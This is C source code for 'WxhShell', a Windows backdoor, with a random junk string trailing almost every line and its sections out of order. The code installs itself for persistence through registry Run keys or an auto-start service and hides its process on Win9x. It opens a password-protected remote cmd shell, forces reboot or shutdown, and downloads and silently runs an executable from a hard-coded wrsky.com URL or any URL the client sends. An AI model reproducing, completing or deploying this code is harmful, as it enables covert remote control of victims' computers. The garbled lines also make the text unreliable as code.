    if(Boot(SHUTDOWN)) \BC|`)0h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h>,yqiY4p  
    else { o<f[K}t9  
    closesocket(wsh); .YquOCc(  
    ExitThread(0); \>NjeMuWU  
    } j%R}  
    break; )--v> *,V  
    } ag*RQ  
  // 获取shell eR.ucTji  
  case 's': { m|<j9.iJ  
    CmdShell(wsh); jIx5_lFe  
    closesocket(wsh); cT abZc  
    ExitThread(0); unqX<6hu  
    break; @&;y0N1xo  
  } <>,V> k|  
  // 退出 T)Byws  
  case 'x': { [xT2c.2__J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); noiUi>G;:  
    CloseIt(wsh); ^\kv> WBE  
    break; {l= !  
    } a%>p"4WL  
  // 离开 (q+U5Ls6  
  case 'q': { B@Zed Xi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *9}2Bmojv  
    closesocket(wsh); o.DT`L8  
    WSACleanup(); JFVal#  
    exit(1); olzP=08aaV  
    break; I^'kt[P'FZ  
        } 'ypJGm  
  } SS@F:5),  
  } K1O0/2O  
|,F/_    
  // 提示信息 )P\Vd #  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^YzFEu$  
} 6dO )]  
  } kKnz F  
YK#bzu ,!  
  return; !h&A^sAc  
} (v*$ExF  
9,y*kC  
// shell模块句柄 /X)fWO S6  
int CmdShell(SOCKET sock) Hk%m`|Z  
{ O.S(H1z<G  
STARTUPINFO si; s }q6@I  
ZeroMemory(&si,sizeof(si)); R?g qPi-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R iid,n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RrSo`q-h+  
PROCESS_INFORMATION ProcessInfo; g9OO#C>  
char cmdline[]="cmd"; Oa=0d;_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &G?b|Tb2  
  return 0; P X ?!R4S  
} :|xV}  
lqe;lWC0Z  
// 自身启动模式 rJK3;d?E  
int StartFromService(void) A][\L[8X  
{ -G2'c)DR  
typedef struct !=>pI/ECQ*  
{ 31-%IkX+k  
  DWORD ExitStatus;  lTsl=  
  DWORD PebBaseAddress; Qy |*[  
  DWORD AffinityMask; j E_a ++  
  DWORD BasePriority; @%@uZqQ4  
  ULONG UniqueProcessId; ;cIs$  
  ULONG InheritedFromUniqueProcessId; ;Ad$Q9)EE  
}   PROCESS_BASIC_INFORMATION; bJ~]nj 3  
/m%Y.:g  
PROCNTQSIP NtQueryInformationProcess; 1cWUPVQ  
D 4^2F(YRX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hh`7b,+ 4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?fcQd6-}  
5'gV_U  
  HANDLE             hProcess; <T JUKznO  
  PROCESS_BASIC_INFORMATION pbi; \M1-  
0}jB/Z_T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DWZ!B7Ts  
  if(NULL == hInst ) return 0; H `Fe |6I&  
9r% O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ak[}s|,)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =rcqYPul0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -sl] funRy  
7u-o7#,X2  
  if (!NtQueryInformationProcess) return 0; !Q =H)\3  
+/*,%TdQ4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \'6hv>W@  
  if(!hProcess) return 0; rWEJCFa  
~=i9]%g ?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~7T]l1]W%  
1i:l  
  CloseHandle(hProcess); Js[dT|>.  
LDHuf<`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B'B,,Mz  
if(hProcess==NULL) return 0; K"-.K]O8E%  
<zH24[  
HMODULE hMod; fQq'_q5  
char procName[255]; ?"[b408-  
unsigned long cbNeeded; u-0-~TwD  
!\.x7N<)0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *j RNpB{)z  
UOy9N  
  CloseHandle(hProcess); '+^HeM^;  
Qc-jOl  
if(strstr(procName,"services")) return 1; // 以服务启动 _] veTAV  
 U=MFNp+  
  return 0; // 注册表启动 Oe=7z'o  
} XfmPq'#Z  
!8M]n  
// 主模块 vx /NG$  
int StartWxhshell(LPSTR lpCmdLine) jHq.W95+P  
{ hb'S!N5m  
  SOCKET wsl; &m_4#  
BOOL val=TRUE; \&|)?'8rS  
  int port=0; \wqi_[A  
  struct sockaddr_in door; &wr0HrE\  
^@e4m O  
  if(wscfg.ws_autoins) Install(); Vr0-evwfo  
pTPWToKh  
port=atoi(lpCmdLine); I5PI;t+  
-Zd0[& ']  
if(port<=0) port=wscfg.ws_port; 3 4CqLPg8  
rkh+$*t@i7  
  WSADATA data; :hB/|H*=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5%j !SVW  
`)$'1,]u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G4][`C]8c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :786Z,')  
  door.sin_family = AF_INET; -t2bHhG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?]SSmZpk  
  door.sin_port = htons(port); HM ;9%rtO  
 Svj%O(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @DG$  
closesocket(wsl); 6Pc3;X~  
return 1; \zCT""'i  
} =n|n%N4Y  
uuW._$.A>  
  if(listen(wsl,2) == INVALID_SOCKET) { xG i,\K\:  
closesocket(wsl); :G\f(2@  
return 1; %_N-~zZ1E  
} ;@ xSJqT  
  Wxhshell(wsl); o8c4h<,  
  WSACleanup(); Cc7PhoPK  
/pni_-l*  
return 0; r=l hYn  
3:1 h:Yc<  
} Xi`K`Cu+  
[h20y  
// 以NT服务方式启动 9B gR@b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QQ^P IQj  
{ ]Z%9l(  
DWORD   status = 0; -:]_DbF  
  DWORD   specificError = 0xfffffff; ~LqjWU  
v8Gm ;~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BMMWP   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?v?b%hK!;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~ _R 8; b  
  serviceStatus.dwWin32ExitCode     = 0; kX!TOlk3  
  serviceStatus.dwServiceSpecificExitCode = 0; FY  U)sQ  
  serviceStatus.dwCheckPoint       = 0; ,tBb$T)7<  
  serviceStatus.dwWaitHint       = 0; v;4l*)$)  
K1]m:Y<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Obwj=_+upd  
  if (hServiceStatusHandle==0) return; f/Cf2 K  
To v!X8p  
status = GetLastError(); ,x#5.Koz  
  if (status!=NO_ERROR) qBL >C\V +  
{ #)hc^gIO&<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G*.}EoA  
    serviceStatus.dwCheckPoint       = 0; #5*|/LD  
    serviceStatus.dwWaitHint       = 0; d 2f   
    serviceStatus.dwWin32ExitCode     = status; Bbk=0+ ^8I  
    serviceStatus.dwServiceSpecificExitCode = specificError; a(- ^ .w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C{7 j<O  
    return; eP6`"<UM  
  } /, T@/  
3gN#[P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P:,@2el  
  serviceStatus.dwCheckPoint       = 0; ^p3"_;p)h  
  serviceStatus.dwWaitHint       = 0; b7&5>Q/ g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [k qx%4q)  
} wJ 0KI[p(S  
$e>(M&9,  
// 处理NT服务事件,比如:启动、停止 d'Cn] <  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iupuhq$ ]  
{ F2jZ3[P  
switch(fdwControl) xx[XwN;  
{ '*K}$+l  
case SERVICE_CONTROL_STOP: Y#[jDS(ip  
  serviceStatus.dwWin32ExitCode = 0; Qf0]7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 701ei;   
  serviceStatus.dwCheckPoint   = 0; "`;$wA  
  serviceStatus.dwWaitHint     = 0; ;VVKn=X=S=  
  { :5`=9 _|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `a *_b9  
  } 7OSk0%Q,  
  return; -DWyKR= j"  
case SERVICE_CONTROL_PAUSE: ;A^Ii>`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t2V|moG  
  break; w Q!C9Gp3e  
case SERVICE_CONTROL_CONTINUE: ,ru2C_LQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PX7@3Y  
  break; X)P;UVR0  
case SERVICE_CONTROL_INTERROGATE: |^: A,%>  
  break; l\+^.ezD  
}; )bCw~'h*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y|%s =0M  
} F\LAw#IJ  
=QG@{?JTl  
// 标准应用程序主函数 )?es3Ehqq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jhU'UAn  
{ Vqr#%. N  
xw[KP [(  
// 获取操作系统版本 4}C^s\?z  
OsIsNt=GetOsVer(); ,|:TML  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IY$v%%2WZ  
C%#%_ "N  
  // 从命令行安装 zvJQ@i"Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); `[.b>ztqgJ  
%ae|4u#b  
  // 下载执行文件 ddR*&.Y!a  
if(wscfg.ws_downexe) { M1UabqQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b8Bf,&:ys  
  WinExec(wscfg.ws_filenam,SW_HIDE); =v-qao7xCV  
} ^g^R[8  
Y8$Y]2  
if(!OsIsNt) { 'IVNqfC)u  
// 如果时win9x,隐藏进程并且设置为注册表启动 u`K)dH,  
HideProc(); q.xt%`@aA  
StartWxhshell(lpCmdLine); ~8fy qE$  
} ] yg3|C;  
else &A}@@d  
  if(StartFromService()) Q7V*~{  
  // 以服务方式启动 Nu}x`Qkmr  
  StartServiceCtrlDispatcher(DispatchTable); G3[X.%g`  
else DcjF $E  
  // 普通方式启动 |AgdD  
  StartWxhshell(lpCmdLine); j%_{tB  
. #+N?D<  
return 0; yH YqJ|t  
} F?APDGAN  
..Q$q2.  
)1E[CIaXK  
qe M`z  
=========================================== l:' 0  
T;?=,'u  
 (TKn'2  
%8U/!(.g  
aXOW +$,  
,tZJSfHB  
" kfb*|  
VR5CRNBJ  
#include <stdio.h> B4uJT~,7>  
#include <string.h> ]6)~Sj$ 5  
#include <windows.h> Ev%_8CO4e  
#include <winsock2.h> k4@$vxy0  
#include <winsvc.h> H YA<  
#include <urlmon.h> _BC%98:WP  
Ln&'5D#  
#pragma comment (lib, "Ws2_32.lib") )\xDo<@  
#pragma comment (lib, "urlmon.lib") >0^oC[ B  
\:7G1_o  
#define MAX_USER   100 // 最大客户端连接数  ~OdE!!  
#define BUF_SOCK   200 // sock buffer -MA/:EB  
#define KEY_BUFF   255 // 输入 buffer nu=yE$BN{  
Nj p?/r  
#define REBOOT     0   // 重启 O1C| { M  
#define SHUTDOWN   1   // 关机 2b&&3u8  
9n\b!*x  
#define DEF_PORT   5000 // 监听端口 htgtgW9 ^P  
&>jSuvVT  
#define REG_LEN     16   // 注册表键长度 M&93TQU-  
#define SVC_LEN     80   // NT服务名长度 !L|}/u3v  
lla?;^,  
// 从dll定义API LtJl\m.th  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "W"2 Y(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ytF@"7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F\K&$5J{p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !@.9>"FU  
5*~]=(BE  
// wxhshell配置信息 PN(P$6  
struct WSCFG { 7{"urs7 T  
  int ws_port;         // 监听端口 3zr95$Mt  
  char ws_passstr[REG_LEN]; // 口令 pbXh}YJ&  
  int ws_autoins;       // 安装标记, 1=yes 0=no vJ&g3ky  
  char ws_regname[REG_LEN]; // 注册表键名 -gq,^j5,  
  char ws_svcname[REG_LEN]; // 服务名 |(evDS5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F]fBFDk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `l%)0)T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m|/q o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fV>12ici  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z?@oe-mz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :gwM$2vv  
zyHHz\{  
}; fN|'aq*Pd  
Qp?+G~*  
// default Wxhshell configuration 9/yE\p .  
struct WSCFG wscfg={DEF_PORT, KscugX*x  
    "xuhuanlingzhe", MS>QU@z7c  
    1, n7>L&?N#y#  
    "Wxhshell", "t ^yM`$5[  
    "Wxhshell", VGe OoS  
            "WxhShell Service", $\9M6k'  
    "Wrsky Windows CmdShell Service", CogN1,GJ  
    "Please Input Your Password: ", $'I-z.GV  
  1, Dr_ (u<[  
  "http://www.wrsky.com/wxhshell.exe", zJMm=Mw^  
  "Wxhshell.exe" >QA;02  
    }; =sIkA)"!=  
-wdd'G  
// 消息定义模块 X5Fi , /H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y|3n^%I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uOv0ut\\G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :(?F(Q^  
char *msg_ws_ext="\n\rExit."; Y!1x,"O'H  
char *msg_ws_end="\n\rQuit."; CRh.1-  
char *msg_ws_boot="\n\rReboot..."; 'ZiTjv ]  
char *msg_ws_poff="\n\rShutdown..."; R=co2 5  
char *msg_ws_down="\n\rSave to "; LBw$K0  
Y}n$s/O:u8  
char *msg_ws_err="\n\rErr!"; DwNEqHi  
char *msg_ws_ok="\n\rOK!"; S.! n35  
# fe%E.  
char ExeFile[MAX_PATH]; ^U8^P]{R|  
int nUser = 0; M hwuh`v%  
HANDLE handles[MAX_USER]; 5ltrr(MeD  
int OsIsNt; wk@S+Q  
23iMG]J&  
SERVICE_STATUS       serviceStatus; }2!=1|}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JtbwY@R  
<rbzsn"a  
// 函数声明 zF7*T?3b"  
int Install(void); k^i\<@v  
int Uninstall(void); YqEB%Y~N+  
int DownloadFile(char *sURL, SOCKET wsh); >"/Sa_w  
int Boot(int flag); C25EIIdRb  
void HideProc(void); vMHJgpd&j  
int GetOsVer(void); LJ{P93aq`^  
int Wxhshell(SOCKET wsl); {;2Gl$\r  
void TalkWithClient(void *cs); D=^|6}  
int CmdShell(SOCKET sock); i^Ip+J+[  
int StartFromService(void); P2t9RCH  
int StartWxhshell(LPSTR lpCmdLine); )J>-;EYb8  
9e _8Z@|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2zlBrjk;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N ,0&xg3  
,| Zkpn8  
// 数据结构和表定义 |ZmWhkOX  
SERVICE_TABLE_ENTRY DispatchTable[] = !zR1CM  
{ R[bI4|t  
{wscfg.ws_svcname, NTServiceMain}, #*zl;h1(  
{NULL, NULL} >S[NI<=8S  
}; 7,IH7l|G  
;3P~eeQR  
// 自我安装 J9V,U;"\  
int Install(void) D>`lN  
{ XPfheV G  
  char svExeFile[MAX_PATH]; ')82a49eA  
  HKEY key; _q1b3)`D  
  strcpy(svExeFile,ExeFile); Fs 95^T  
d# >iFD+  
// 如果是win9x系统,修改注册表设为自启动 6%\&m|S  
if(!OsIsNt) { z<jH{AU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lWRRB&8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F4|U\,g  
  RegCloseKey(key); U^~jB= =]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N_Q\+x}zq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]N4?*S*jd)  
  RegCloseKey(key); JIh:IR(ta  
  return 0; RbN# dI'  
    } ^)i1b:4  
  } B4kJ 7Pdny  
} XR@C^d  
else { {IG5qi?/E)  
1c19$KHu  
// 如果是NT以上系统,安装为系统服务 8;q2W F{AX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C9Xj)5k@R  
if (schSCManager!=0) 6 66f;h  
{ Og E<bw  
  SC_HANDLE schService = CreateService vNIQ1x5Za  
  ( YCI- p p  
  schSCManager, # M18&ld,r  
  wscfg.ws_svcname, h3BDHz,  
  wscfg.ws_svcdisp, 0NFYFd-50  
  SERVICE_ALL_ACCESS, cP,bob]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <"HbX  
  SERVICE_AUTO_START, <UE-9g5?G  
  SERVICE_ERROR_NORMAL, w\`u |f;Aq  
  svExeFile, < /\y<]b  
  NULL, ;Svs|]d  
  NULL, }Q#3\z5  
  NULL, -8pQI  
  NULL, 6U?z  
  NULL grbUR)f<?-  
  ); ?_BK(kL_  
  if (schService!=0) yRtxh_wr9  
  { [7sy}UH  
  CloseServiceHandle(schService); T^1]|P  
  CloseServiceHandle(schSCManager); 1J?x2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 89+Q^79m  
  strcat(svExeFile,wscfg.ws_svcname); t(Sjo8, b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N799@:.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $^Z ugD  
  RegCloseKey(key); oJln"-M1nx  
  return 0; dHJ#xmE!pP  
    } *)0-N!N#)  
  } J<27w3bs~p  
  CloseServiceHandle(schSCManager); }N`m7PSf  
} [~U CYYl  
} "+k^8ki  
wzNGL{3  
return 1; IWs)n1D*]  
} c_dg/ !Iu  
^R;rrn{^  
// 自我卸载 xp;CYr"1}  
int Uninstall(void) /j(3 ~%]o4  
{ k*"FMJG_  
  HKEY key; O$, bNu/g  
ZMn~QU_5  
if(!OsIsNt) { (sN;B)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'rSP@  
  RegDeleteValue(key,wscfg.ws_regname); JV_V2L1Ut  
  RegCloseKey(key); 0.kQqy~5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  _YPu  
  RegDeleteValue(key,wscfg.ws_regname); KoF_G[m  
  RegCloseKey(key); HCOE'24I  
  return 0; Bq*aP*jv  
  } ,o68xfdZVW  
} p&Ev"xhs  
} jTE~^  
else { alz2F.%Y  
4pG!m&4]ze  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n"dYN3dE  
if (schSCManager!=0) H=1Jq  
{ hJkF-yW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YIZ+BVa  
  if (schService!=0) h&O8e;S#  
  { 2/4,iu(T`c  
  if(DeleteService(schService)!=0) { { 2\.  
  CloseServiceHandle(schService); HHXm 4}!;<  
  CloseServiceHandle(schSCManager); MzX4/*ba  
  return 0; lN,)T%[0-  
  } MB:*WA&  
  CloseServiceHandle(schService); +u|p<z  
  } SZ3UR  
  CloseServiceHandle(schSCManager); wbA<G&h~  
} d@#wK~I  
} p0Ra`*f  
86HK4sES  
return 1; `S+B-I0  
} @teNT"  
m%[`NP (  
// 从指定url下载文件 X J{b_h#N  
int DownloadFile(char *sURL, SOCKET wsh) o'auCa,N  
{ 4 /Q4sE~<  
  HRESULT hr; ed:[^#Lj  
char seps[]= "/"; e=#'rDm  
char *token; >cYYr@S  
char *file; qOi"3_  
char myURL[MAX_PATH]; ocDAg<wo  
char myFILE[MAX_PATH]; ]46#u=y~3  
k< i#agq  
strcpy(myURL,sURL); LktH*ePO  
  token=strtok(myURL,seps); ccm(r~lhJ  
  while(token!=NULL) s?pd&_kOv3  
  { Vb$4'K '  
    file=token; A[6D40o  
  token=strtok(NULL,seps); R!2oj_  
  } =&YhA}l\O  
]UFbG40Zo  
GetCurrentDirectory(MAX_PATH,myFILE); WO<a^g {  
strcat(myFILE, "\\"); SdM@7%UK  
strcat(myFILE, file); 6-!U\R2Z>  
  send(wsh,myFILE,strlen(myFILE),0); Z(0sMOaX  
send(wsh,"...",3,0); GiGXV @dq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .]D7Il  
  if(hr==S_OK) w(-h!d51+  
return 0; 1Bhd-  
else q[Ed6FM$~  
return 1; *Z:'jV<  
o b,%); m  
} I {&8iUN  
WPbG3FrL!  
// 系统电源模块 >J,y1jzJ  
int Boot(int flag) \Uh$%#}.  
{ GO<,zOqvU  
  HANDLE hToken; "B"Yfg[  
  TOKEN_PRIVILEGES tkp; ( {}Z '  
*%;+3SV  
  if(OsIsNt) { RwyRPc _  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l:$i}.C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TOC2[m c'  
    tkp.PrivilegeCount = 1; NPY\ >pf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f&ri=VJY\T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U2TR>0l  
if(flag==REBOOT) {  VsR8|Hn$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k3 S  
  return 0; I2G:jMPy  
} 4te QG  
else { ] lONi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H4{CiZ  
  return 0; " s3eO  
} *uG!U%jY)  
  } (#?k|e"Y"`  
  else { X+LG Z4]D  
if(flag==REBOOT) { R m^$Dn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PbpnjvVrM  
  return 0; ^Pp2T   
} S%{^@L+V  
else { 7 S 6@[-E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &upM,Jsr*  
  return 0; c4i%9E+Af  
} /t"F Z#  
} ~8l(,N0  
.`@)c/<0  
return 1; yuA+YZ  
} m?)REE  
x_VD9  
// win9x进程隐藏模块 y Nc"E  
void HideProc(void) 14Y<-OO: k  
{ @B#\3WNt  
OJ!=xTU%h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sfKu7puc  
  if ( hKernel != NULL ) (Xv' Te?  
  { 4SDUTRo a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SSo7 U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9?J 3G,&  
    FreeLibrary(hKernel); _`-trE.  
  } ,C97|6rC  
Md[M}d8  
return; jqv"8S5  
} CaE1h9  
b;k3B7<  
// 获取操作系统版本 R.'-jvO  
int GetOsVer(void) h}$g}f%$+  
{ :)=>,XwL8  
  OSVERSIONINFO winfo; RM|2PG1m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l>){cI/D#  
  GetVersionEx(&winfo); '^10sf`"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YDxEWK<  
  return 1; )F,IPAA#  
  else nkTpUbS'f?  
  return 0; u(W+hdTap=  
} wY'w'%A?  
2>+(OL4l  
// 客户端句柄模块 `G0GWh)`x  
int Wxhshell(SOCKET wsl) egXbe)ld  
{ [Zxv&$SQ  
  SOCKET wsh; Q}6!t$Vk  
  struct sockaddr_in client; 1O,:fTG<  
  DWORD myID; oqUF_kh  
;U)xZ _Ew~  
  while(nUser<MAX_USER) w 8B SY  
{ W{W8\  
  int nSize=sizeof(client); 1LZ[i89&%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~;S  
  if(wsh==INVALID_SOCKET) return 1; DV{0|E  
}N,$4h9Dj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +, |aIF  
if(handles[nUser]==0) K{ED mC  
  closesocket(wsh); Swr 8  
else V]Z!x.x"=y  
  nUser++; RzOcz=A}  
  } tN1xZW:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fPBJ%SZ  
L'L[Vpx  
  return 0; !YVGT <  
} -~] q?k?  
A~)#  
// 关闭 socket PX/7:D?  
void CloseIt(SOCKET wsh) %iR"eEE  
{ fK{m7?V  
closesocket(wsh); Em ;2fh  
nUser--;  $+  
ExitThread(0); i9koh3R\  
} 'B\7P*L"p  
f Hd|tl  
// 客户端请求句柄 vN9R. R  
void TalkWithClient(void *cs) cMK}BHOC  
{ U-U"RC>  
E^4}l2m_  
  SOCKET wsh=(SOCKET)cs; O;lGh1.  
  char pwd[SVC_LEN]; WRov7  
  char cmd[KEY_BUFF]; [jEZ5]%  
char chr[1]; iu.v8I ;<  
int i,j; c]%~X&Tg`  
w<&R|= 93  
  while (nUser < MAX_USER) { K;Fs5|gFU  
lW|`8ykp  
if(wscfg.ws_passstr) { ?Gqq]ozm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g^: & Dh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |R&cQKaQ`  
  //ZeroMemory(pwd,KEY_BUFF); [nASMKK0  
      i=0; m gE r+  
  while(i<SVC_LEN) { ).3riR  
J!\oH%FJp  
  // 设置超时 e|}B;<  
  fd_set FdRead; B",;z)(%  
  struct timeval TimeOut; z_8lf_N  
  FD_ZERO(&FdRead); rU9z? (  
  FD_SET(wsh,&FdRead); ["^? vhv  
  TimeOut.tv_sec=8; $uUR@l  
  TimeOut.tv_usec=0; %jJ|4\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  alH6~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =&I9d;7  
IOT-R!.5V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #w@V!o  
  pwd=chr[0]; Qo~|[]GE  
  if(chr[0]==0xd || chr[0]==0xa) { J'C9}7G  
  pwd=0; ;-AC}jG  
  break; XR_Gsb%l  
  } 46##(4RF  
  i++; tj4/x7!  
    } 3O*^[$vM  
Ozg,6&3ji  
  // 如果是非法用户,关闭 socket C2{*m{ D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T5Iz{Ha  
} p1UYkmx[  
B~B,L*kC2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0b G#'.-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8b!xMFF"  
AO238RC!:  
while(1) { N*+L'bO  
OcLahz6  
  ZeroMemory(cmd,KEY_BUFF); )G),iy  
JNv@MJb}  
      // 自动支持客户端 telnet标准   k+BY3a  
  j=0; ]P/i}R:  
  while(j<KEY_BUFF) { #>M^BOR8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K7R!E,oPg  
  cmd[j]=chr[0]; 2m^qXE$  
  if(chr[0]==0xa || chr[0]==0xd) { eLIZ<zzW0}  
  cmd[j]=0; 2<9&OL  
  break; Z!-V&H.  
  } lK_T%1Gz  
  j++; y* :C~  
    } U@9v(TfV  
&F:%y(;{Y  
  // 下载文件 <JIqkGeAi  
  if(strstr(cmd,"http://")) { $R%tD.d3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6of9lO:  
  if(DownloadFile(cmd,wsh)) S!rVq,| d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8*;>:g  
  else sJ{r+wY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g/frg(KF  
  } B@v (ZY  
  else { U1`pY:P  
MOPHu O{^  
    switch(cmd[0]) {  ~)F_FS  
